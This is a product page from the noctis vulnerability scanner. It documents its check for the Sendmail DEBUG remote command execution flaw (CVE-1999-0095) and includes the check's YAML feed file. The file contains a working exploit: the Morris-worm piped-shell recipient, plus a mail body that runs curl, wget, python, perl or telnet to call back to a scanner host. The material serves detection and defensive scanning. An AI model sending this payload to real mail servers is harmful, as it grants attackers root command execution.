Sendmail — 1 vulnerability check

noctis ships 1 vulnerability check for Sendmail, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Sendmail DEBUG command enabled remote command execution

CVECVE-1999-0095
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Servicessmtp
Detectiontcp_open, sleep, tcp_send, set_var, script, match, tcp_close, wait_oob · highest QoD 97
Feedtests/vulnerabilities/sendmail/CVE-1999-0095.yaml

Checks whether the SMTP server accepts the DEBUG command. Old Sendmail releases enable it for any client, and in debug mode they accept a program as mail recipient, which an unauthenticated attacker uses to run commands as root. The test sends HELO then DEBUG and reports a server answering "200 Debug set". With out-of-band detection enabled, it then delivers a mail to a program recipient whose body makes a single HTTP request back to the scanner, confirming command execution. The command itself creates no file on the target.

How noctis detects it

  1. Opens a persistent TCP/TLS socket
  2. Sends … on the open socket
  3. Parses / computes the next value with a Rhai script
  4. Sends HELO noctis.test on the open socket
  5. Sends DEBUG on the open socket
  6. Checks dbg.response for (?i)(^|\n)200[ -][^\n]*debug set → finding QoD 75: Sendmail accepts the SMTP DEBUG command
  7. Sends MAIL FROM:<noctis@noctis.test> on the open socket
  8. Sends RCPT TO:<{{exploit_rcpt}}> on the open socket
  9. Sends DATA on the open socket
  10. Sends on the open socket
  11. Sends QUIT on the open socket
  12. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Sendmail DEBUG remote command execution confirmed

References:

Feed source — tests/vulnerabilities/sendmail/CVE-1999-0095.yaml
# Sendmail SMTP DEBUG command enabled — remote command execution (CVE-1999-0095)
#
# Pre-1989 Sendmail (the hole the 1988 Morris worm used) accepts the SMTP
# DEBUG command from any client. In debug mode it lets a remote client name a
# program as recipient — RCPT TO:<"|cmd"> — and pipes the message into that
# program through /bin/sh as root.
#
# Two detection branches:
#
#   1. DEBUG accepted (QoD 75, inert — nothing is queued or executed)
#      HELO, then DEBUG: a vulnerable server answers "200 Debug set"; a fixed
#      one answers "500 Command unrecognized". Unlike the usual check, the
#      greeting is NOT required to say "Sendmail" (SmtpGreetingMessage is often
#      customised) — the "200 Debug set" reply is Sendmail's own wording.
#      Sendmail 8.x built with -DSMTPDEBUG also answers "200 2.0.0 Debug set"
#      but no longer lets remote clients deliver to programs; it greets with
#      "ESMTP" (the affected 5.x predates ESMTP), so this branch is skipped on
#      an ESMTP greeting and only branch 2 can report such a server.
#
#   2. Real exploitation, OOB callback (QoD 97) — only with --oob
#      The worm's recipient  "|sed -e '1,/^$/'d | /bin/sh ; exit 0"  strips the
#      headers Sendmail prepends and runs the body with sh; the body makes one
#      HTTP GET to {{oob_url}} (curl / wget / python3 / perl, then telnet for
#      1980s hosts that have none of those).
#      Benign: no file written, nothing persistent. Note: runs as root.
#
# Credit: detection logic adapted from the GPL-2.0 plugin pre2008/sendmail_debug.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10247); branch 2 and the banner-independent
# branch 1 go beyond it.
uid: 427527a2-ec28-4f10-b3e8-d0d63026da69
name: "Sendmail DEBUG command enabled remote command execution (CVE-1999-0095)"
description: |
  Checks whether the SMTP server accepts the DEBUG command. Old Sendmail
  releases enable it for any client, and in debug mode they accept a program as
  mail recipient, which an unauthenticated attacker uses to run commands as
  root. The test sends HELO then DEBUG and reports a server answering
  "200 Debug set". With out-of-band detection enabled, it then delivers a mail
  to a program recipient whose body makes a single HTTP request back to the
  scanner, confirming command execution. The command itself creates no file
  on the target.
cves: [CVE-1999-0095]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.35
tags: [sendmail, smtp, rce, debug, intrusive, oob]
services: [smtp]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-1999-0095"
  - "https://www.cve.org/CVERecord?id=CVE-1999-0095"
  - "https://spaf.cerias.purdue.edu/tech-reps/823.pdf"

vars:
  # Morris worm recipient: drop everything up to the first blank line (the
  # headers Sendmail prepends), run the rest of the message with sh.
  exploit_rcpt: "\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\""

steps:
  - id: open-smtp
    action: tcp_open
    handle: smtp
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: conn

  # Sendmail greets after its reverse DNS lookup, which can outlast even the
  # open's first-byte wait (timeout_secs): wait and read the greeting explicitly.
  - id: greeting-wait
    action: sleep
    condition: "conn.connected == true && type_of(conn.banner) != \"string\""
    duration_ms: 4000

  - id: greeting-read
    action: tcp_send
    handle: smtp
    condition: "conn.connected == true && type_of(conn.banner) != \"string\""
    send: ""
    timeout_secs: 10
    store_as: greet

  - id: greeting-init
    action: set_var
    var_name: late_ok
    var_value: false

  - id: greeting-late
    action: set_var
    condition: "type_of(greet.response) == \"string\""
    var_name: late_ok
    var_value: true

  - id: greeting
    action: script
    condition: "conn.connected == true"
    store_as: greeting
    code: |
      let txt = "";
      if late_ok { txt = greet.response; }
      if type_of(conn.banner) == "string" { txt = conn.banner; }
      txt

  # HELO, not EHLO: the affected Sendmail 5.x predates ESMTP.
  - id: helo
    action: tcp_send
    handle: smtp
    condition: "type_of(greeting) == \"string\" && greeting.starts_with(\"220\")"
    send: "HELO noctis.test\r\n"
    timeout_secs: 10
    store_as: helo

  - id: debug
    action: tcp_send
    handle: smtp
    condition: "type_of(greeting) == \"string\" && greeting.starts_with(\"220\") && type_of(helo.response) == \"string\""
    send: "DEBUG\r\n"
    timeout_secs: 10
    store_as: dbg

  - id: debug-init
    action: set_var
    var_name: debug_ok
    var_value: false

  - id: debug-accepted
    action: set_var
    condition: "type_of(dbg.response) == \"string\" && ereg(\"(?i)(^|\\n)200[ -][^\\n]*debug set\", dbg.response)"
    var_name: debug_ok
    var_value: true

  # ── Branch 1: DEBUG accepted (QoD 75) ─────────────────────────────────────
  - id: report-debug
    action: match
    source: dbg.response
    pattern: "(?i)(^|\\n)200[ -][^\\n]*debug set"
    condition: "debug_ok == true && !greeting.contains(\"ESMTP\")"
    on_match:
      finding:
        title: "Sendmail accepts the SMTP DEBUG command"
        confidence_delta: 0.45   # 0.35 + 0.45 = 0.80
        qod: 75
        evidence: "Greeting: {{greeting}} | DEBUG → {{dbg.response}}"

  # ── Branch 2: real exploitation, OOB callback (QoD 97) ────────────────────
  - id: mail-from
    action: tcp_send
    handle: smtp
    condition: "oob_enabled && debug_ok == true"
    send: "MAIL FROM:<noctis@noctis.test>\r\n"
    timeout_secs: 10
    store_as: mail

  - id: rcpt
    action: tcp_send
    handle: smtp
    condition: "oob_enabled && debug_ok == true && type_of(mail.response) == \"string\" && mail.response.starts_with(\"250\")"
    send: "RCPT TO:<{{exploit_rcpt}}>\r\n"
    timeout_secs: 10
    store_as: rcpt

  - id: data
    action: tcp_send
    handle: smtp
    condition: "oob_enabled && debug_ok == true && type_of(rcpt.response) == \"string\" && rcpt.response.starts_with(\"250\")"
    send: "DATA\r\n"
    timeout_secs: 10
    store_as: data

  # The leading blank line ends the (empty) header block, so sed strips exactly
  # the headers Sendmail prepends and sh runs the callback line.
  - id: body
    action: tcp_send
    handle: smtp
    condition: "oob_enabled && debug_ok == true && type_of(data.response) == \"string\" && data.response.starts_with(\"354\")"
    send: "\r\n(curl -s -m 10 -o /dev/null {{oob_url}} || wget -q -T 10 -O /dev/null {{oob_url}} || python3 -c \"import urllib.request as u;u.urlopen('{{oob_url}}',timeout=10)\" || perl -MIO::Socket::INET -e '$s=IO::Socket::INET->new(PeerAddr=>\"{{oob_host}}:{{oob_port}}\",Timeout=>10) or exit 1;print $s \"GET /{{oob_token}} HTTP/1.0\\r\\nHost: {{oob_host}}\\r\\n\\r\\n\";<$s>' || (echo \"GET /{{oob_token}} HTTP/1.0\"; echo; sleep 5) | telnet {{oob_host}} {{oob_port}}) >/dev/null 2>&1\r\n.\r\n"
    timeout_secs: 15
    store_as: delivered

  - id: quit
    action: tcp_send
    handle: smtp
    condition: "conn.connected == true"
    send: "QUIT\r\n"
    timeout_secs: 5
    store_as: bye

  - id: close-smtp
    action: tcp_close
    handle: smtp

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    store_as: oob_result
    # Sendmail 5.x runs the program mailer BEFORE answering the end of DATA,
    # so the 250 can come after the read gives up: the callback itself
    # is the proof, sending the body is enough to wait for it.
    condition: "oob_enabled && debug_ok == true && type_of(delivered) == \"map\" && delivered.sent == true"
    on_success:
      finding:
        title: "Sendmail DEBUG remote command execution confirmed"
        confidence_delta: 0.60   # 0.35 + 0.60 = 0.95
        qod: 97
        evidence: "DEBUG → {{dbg.response}}; RCPT TO:<{{exploit_rcpt}}> → {{rcpt.response}}; message sent; the piped shell called back ({{oob_result.method}} /{{oob_token}})"
      stop: true

View these feeds on GitHub